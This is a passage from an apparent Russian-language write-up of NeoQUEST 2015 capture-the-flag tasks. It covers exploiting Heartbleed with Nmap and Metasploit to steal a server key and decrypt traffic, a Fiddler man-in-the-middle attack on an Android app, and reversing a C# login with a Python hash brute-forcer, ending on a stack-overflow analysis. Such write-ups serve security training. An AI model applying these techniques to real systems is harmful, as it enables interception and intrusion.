\u0443\u0437\u043b\u0430\u043c\u0438, \u043a\u043b\u0438\u0435\u043d\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c 79.175.2.84 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 443. \u041f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u0437\u0430\u0439\u0442\u0438 \u043d\u0430 \u044d\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u0432\u0435\u0442:<\/p>\n<p>  Sorry, we don&#8217;t know you<\/p>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0410 \u0432\u0434\u0440\u0443\u0433 \u043d\u0430\u043c \u043f\u043e\u0432\u0435\u0437\u0435\u0442, \u0438 \u043c\u044b \u043d\u0430\u0439\u0434\u0435\u043c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u043b\u0430\u0437\u0435\u0439\u043a\u0443! \u0412\u0441\u043f\u043e\u043c\u043d\u0438\u0432 \u043f\u0440\u043e 443 \u043f\u043e\u0440\u0442, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SSL Heartbleed. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0437 Nmap Scripting Engine:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/4f9\/727\/154\/4f972715461d49218ca961476c0978ec.jpg\"\/><\/p>\n<p>  \u0423\u0434\u0430\u0447\u0430! \u041c\u044b \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0448\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SSL \u2014 HeartBleed.<br \/>  \u0414\u043b\u044f \u043d\u0430\u0441 \u0441\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435, \u0447\u0442\u043e, \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0435\u0435, \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448 \u0434\u0430\u043c\u043f. \u0421\u043a\u0430\u0437\u0430\u043d\u043e \u2014 \u0441\u0434\u0435\u043b\u0430\u043d\u043e! \u0411\u0435\u0440\u0435\u043c Metasploit, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442 openssl_heartbleed \u2014 \u0438 \u0442\u0430\u043a\u0438\u043c\u0438 \u043d\u0435\u0445\u0438\u0442\u0440\u044b\u043c\u0438 \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/7dc\/739\/852\/7dc739852d9040a6a7d9c282bf9951c8.jpg\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u0441\u0434\u0435\u043b\u0430\u043d, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u043a\u043b\u044e\u0447, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e. \u0412\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a Wireshark`\u0443 \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u043d\u0430\u0448 \u043a\u043b\u044e\u0447 \u0434\u043b\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u0430. \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/ecc\/a19\/d14\/ecca19d14543435a9a4e4d62f57c1411.jpg\"\/><\/p>\n<p>  \u0412 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0434\u0430\u043c\u043f\u0435 \u043d\u0430\u0441 \u043f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 GET-\u0437\u0430\u043f\u0440\u043e\u0441. \u041c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f Cookie: id \u0438 hash. \u0412\u0438\u0434\u0438\u043c\u043e, \u043e\u043d\u0438 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/fff\/25f\/66d\/fff25f66d23d4ac1ae987eda9840309e.jpg\"\/><\/p>\n<p>  \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 User-Agent: \u201cGRAND LODGE\u201d. \u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u043f\u0430\u043a\u0435\u0442 \u0441 \u0442\u0430\u043a\u0438\u043c\u0438 \u0436\u0435 cookies \u0438 User-Agent, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u0432\u0435\u0442:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/518\/d6b\/22d\/518d6b22d5d14466be50cb84dc7f399e.jpg\"\/><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0439\u0434\u044f \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430\u0448 \u0438\u0441\u043a\u043e\u043c\u044b\u0439 \u043a\u043b\u044e\u0447!<\/p>\n<h6><b>3. \u00abraSSLedovanie\u00bb \u2014 Man-in-the-Middle \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 Android<\/b><\/h6>\n<p>  \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u044f APK-\u0444\u0430\u0439\u043b ssviewer.apk \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u043d\u0430 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440 Android. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0432\u0438\u0434\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/2b6\/d61\/e94\/2b6d61e94c76414894b2c125fe84ef18.jpg\"\/><\/p>\n<p>  \u041d\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/b11\/213\/aa7\/b11213aa75364dabaccfb66c59988de9.jpg\"\/> <\/p>\n<p>  \u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u00ab200 ok\u00bb \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441 \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u043d\u0438\u0444\u0444\u0435\u0440\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u044c\u043c\u0435\u043c <a href=\"http:\/\/www.telerik.com\/fiddler\">Fiddler<\/a>). \u0412\u0438\u0434\u0438\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a <a href=\"https:\/\/db765.ru\">db765.ru<\/a>. \u041f\u043e\u043f\u044b\u0442\u0430\u0435\u043c\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 MITM-\u0430\u0442\u0430\u043a\u0443.<br \/>  \u041d\u0430\u0441\u0442\u0440\u043e\u0438\u043c Fiddler \u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/01a\/0b0\/944\/01a0b094448e491d8ec8cc7bf4906a7d.jpg\"\/><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0432 Android \u043a \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043f\u0440\u043e\u043a\u0441\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0432 Fiddler.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/c95\/007\/b5e\/c95007b5e9a94be4a22f462bb87e60c3.jpg\"\/><\/p>\n<p>  \u0421\u043d\u043e\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u043b\u043e\u0432\u0438\u043c \u043e\u0442\u0432\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0441\u043d\u0438\u0444\u0444\u0435\u0440\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/57c\/3e2\/52f\/57c3e252f7f442d29fa2cf19993f077d.jpg\"\/><\/p>\n<p>  \u0412 \u043e\u0442\u0432\u0435\u0442\u0435 \u0432\u0438\u0434\u0438\u043c base64. \u0420\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c zip-\u0430\u0440\u0445\u0438\u0432, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0441 \u043e\u0442\u0432\u0435\u0442\u043e\u043c \u00abSSLK3YDB765\u00bb!<\/p>\n<p>  \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u0441 \u0434\u0430\u043d\u043d\u044b\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432, \u0430 \u043d\u0430\u0448 \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c \u2014 n0n3m4 \u0434\u0430\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b write-up \u0441 \u0438\u043d\u0442\u0440\u0438\u0433\u0443\u044e\u0449\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"http:\/\/www.suslopas.pw\/2015\/03\/neoquest-2015-rassledovanie-13.html\">\u00abNeoQUEST 2015: \u043a\u0430\u043a \u0440\u0435\u0448\u0438\u0442\u044c raSSLedovanie \u0437\u0430 13 \u043c\u0438\u043d\u0443\u0442\u00bb<\/a>.<\/p>\n<h6><b>4. \u00ab\u0414\u0440\u0443\u0436\u0431\u0430 \u0438 \u0431\u0440\u0430\u0442\u0441\u0442\u0432\u043e\u00bb \u2014 \u0440\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0430 C#<\/b><\/h6>\n<p>  \u0412\u0441\u0435, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0434\u0430\u043d\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u2014 \u044d\u0442\u043e \u0434\u0432\u0430 \u0444\u0430\u0439\u043b\u0430: login.exe \u0438 \u0444\u0430\u0439\u043b \u0444\u043e\u0440\u043c\u0430\u0442\u0430 .so. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 login.exe \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u0432\u0432\u0435\u0441\u0442\u0438 \u043b\u043e\u0433\u0438\u043d:<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/162\/f23\/4f0\/162f234f0ca049898008d14c52e5bbf7.jpg\"\/><\/p>\n<h6><b>\u0427\u0430\u0441\u0442\u044c \u043f\u0435\u0440\u0432\u0430\u044f<\/b><\/h6>\n<p>  \u0412\u043e\u0437\u044c\u043c\u0435\u043c .NET Reflector \u0438 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u043e\u043b\u0433\u0438\u0445 \u043f\u043e\u0438\u0441\u043a\u043e\u0432 \u043d\u0430\u0439\u0434\u0435\u043c \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code>private void textBox1_TextChanged(object sender, EventArgs e) {     string text = this.textBox1.Text;     if (text.Length == 0)     {         this.label1.Text = &quot;Enter you login&quot;;     }     else if (!this.hashes.Contains&lt;string&gt;(this.GetHashString(text)))     {         this.label1.Text = &quot;Incorrect login!&quot;;     }     else if (text.Length == 0x20)     {         this.label1.Text = &quot;You have successfully logged in!&quot;;         this.groupBox1.Enabled = false;         this.tcpSocket = new TcpClient(this.host, this.port);         this.groupBox2.Visible = true;         this.timer1.Start();     }     else     {         this.label1.Text = &quot;Enter next character of your login&quot;;     } } <\/code><\/pre>\n<p>  \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0430:<\/p>\n<pre><code>else if (!this.hashes.Contains&lt;string&gt;(this.GetHashString(text))) <\/code><\/pre>\n<p>  \u041a\u043e\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043c\u0430\u0441\u0441\u0438\u0432 hashes \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0445\u0435\u0448\u0430 \u043e\u0442 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043b\u043e\u0433\u0438\u043d\u0430.<br \/>  \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0445\u0435\u0448\u0430:<\/p>\n<pre><code>private string GetHashString(string s) {     byte[] bytes = Encoding.ASCII.GetBytes(s);     byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes);     string str = string.Empty;     foreach (byte num in buffer2)     {         str = str + string.Format(&quot;{0:x2}&quot;, num);     }     return str; } <\/code><\/pre>\n<p>  \u041c\u0430\u0441\u0441\u0438\u0432 hashes:<\/p>\n<pre><code>this.hashes = new string[] { &quot;dfa7b3505d612417911b86b89f869d6c&quot;, &quot;73b6951965fda60be0c69da1411e59af&quot;, &quot;4ad9eab6a9bd83eec4723d05444059e2&quot;, &quot;4f60dca64aedd943e4fccb8bbf18e25c&quot;, &quot;9ed2ac984ed7182a4974a4bab0ad8fcd&quot;, &quot;826fc5d7998c16eeb77abc00702a00ab&quot;, &quot;4ec559ee5a6249f0c69ab8ff9b804072&quot;, &quot;0eebdd1e6d919d04cdee9646607786c3&quot;, &quot;172cfbcb9d8de7425233fd7183f43c21&quot;, &quot;7174ce70d0702083e26d285196d36cf2&quot;, &quot;77526663ec282d1d1f62229ab980edd5&quot;, &quot;c7f399fb9f981ba2445ba573ec668cef&quot;, &quot;efa9d9d29367af2b3c1cc1494f882f2d&quot;, &quot;01e5f7d323222fd161fcbd0b32f26b2b&quot;, &quot;83daec0d569704618ecf60d19b031082&quot;, &quot;a2c2c74263df7545cb857b69ce5820b2&quot;,  &quot;ac13be701bc79036602ae9f355e6c389&quot;, &quot;d33bf0c58b48508c706d32c6e8a171d4&quot;, &quot;138378fc00ad7d559f0418019e750b19&quot;, &quot;39eb98f5edec84e35f52feff51c94a25&quot;, &quot;3ff5db4ebc8437f338ce978fddcfb334&quot;, &quot;e1cd7a2a000a2fe69f909a2e46dab073&quot;, &quot;bf80eafce6f8d51220dd6603295852d5&quot;, &quot;f8bc2fbe2c937ea5b5e8839cbea69491&quot;, &quot;e8bb39c756ad2b46a80b3f07c8422037&quot;, &quot;a3d4832c6cc0b51163e04301e6a17b55&quot;, &quot;bc7a6cff6c8507488e186d378ec12b38&quot;, &quot;deaeb78d2c64a16cecd1a718e226db52&quot;, &quot;c81e728d9d4c2f636f067f89cc14862c&quot;, &quot;7742638106aea26564f3f6fa02fe1265&quot;, &quot;7c8104aa5e88bee40658c61c5f869284&quot;, &quot;71e157ffdf45f4946e95d0ac115466a1&quot; }; <\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043b\u043e\u0433\u0438\u043d\u0430 \u043d\u0430 Python 3 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code>import hashlib  hashes = ( \t'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af', \t'4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c', \t'9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab', \t'4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3', \t'172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2', \t'77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef', \t'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b', \t'83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2', \t'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4', \t'138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25', \t'3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073', \t'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491', \t'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55', \t'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52', \t'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265', \t'7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1' )  login = '' chars = 'abcdef1234567890'  for i in range(32): \tfor j in range(len(chars)): \t\thash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest() \t\tif hash in hashes: \t\t\tlogin += chars[j]  print(login) <\/code><\/pre>\n<p>  \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u043d\u0430 \u0432\u044b\u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u044d\u043a\u0440\u0430\u043d \u043a\u043b\u044e\u0447: 2b638b6da52bfad2d99dbab4018237df.<\/p>\n<h6><b>\u0427\u0430\u0441\u0442\u044c \u0432\u0442\u043e\u0440\u0430\u044f<\/b><\/h6>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043a\u043b\u044e\u0447\u0430 \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 C#), \u0434\u043b\u044f \u043d\u0430\u0441 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0441\u043e\u043b\u044c telnet, \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u0430\u0440\u043e\u043b\u044c. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 libtest.so.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/143\/fdb\/8cb\/143fdb8cbe614c509d93e5f56f6a3f25.jpg\"\/><\/p>\n<p>  \u041d\u0430\u043c\u043d\u043e\u0433\u043e \u0443\u0434\u043e\u0431\u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Putty (IP \u0438 \u043f\u043e\u0440\u0442 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 .NET Reflector)<\/p>\n<pre><code>this.host = &quot;79.175.2.85&quot;; this.port = 0x1f90; <\/code><\/pre>\n<p>  \u0414\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u0443\u0435\u043c libtest.so. \u041f\u0435\u0440\u0432\u043e\u0439 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f StartTest.<\/p>\n<pre><code>public StartTest StartTest proc near  s2= byte ptr -20h  push    rbp mov     rbp, rsp sub     rsp, 20h lea     rdi, aHello     ; &quot;\\nHello!\\n&quot; call    _puts mov     rax, cs:pGetFlag_ptr mov     rdx, cs:GetFlag_ptr mov     [rax], rdx lea     rsi, modes      ; &quot;r&quot; lea     rdi, aHomeSrvPass_tx ; &quot;\/home\/srv\/pass.txt&quot; call    _fopen \u2026 <\/code><\/pre>\n<p>  \u041a\u043e\u0434 \u0447\u0438\u0442\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \/home\/srv\/pass.txt \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0415\u0441\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0442\u043e \u043d\u0430 \u044d\u043a\u0440\u0430\u043d \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \/home\/srv\/flag2.txt. \u0412 \u043b\u044e\u0431\u043e\u043c \u0434\u0440\u0443\u0433\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435\u043c \u0446\u0438\u043a\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442\u0441\u044f.<\/p>\n<pre><code>loc_DD4:                ; seconds mov     edi, 1 call    _sleep lea     rax, [rbp+s2] lea     rdx, [rbp+s2] add     rdx, 10h mov     rsi, rax        ; s2 mov     rdi, rdx        ; s1 call    _strcmp test    eax, eax jnz     short loc_D7A <\/code><\/pre>\n<p>  \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u0434\u043b\u0438\u043d\u043e\u0439 \u0431\u043e\u043b\u0435\u0435 16 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0441\u0442\u0435\u043a\u043e\u0432\u0430\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441 \u043f\u0430\u0440\u043e\u043b\u0435\u043c, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u043c \u0438\u0437 \u0444\u0430\u0439\u043b\u0430:<\/p>\n<pre><code>mov     rax, cs:stdin_ptr mov     rdx, [rax]      ; stream lea     rax, 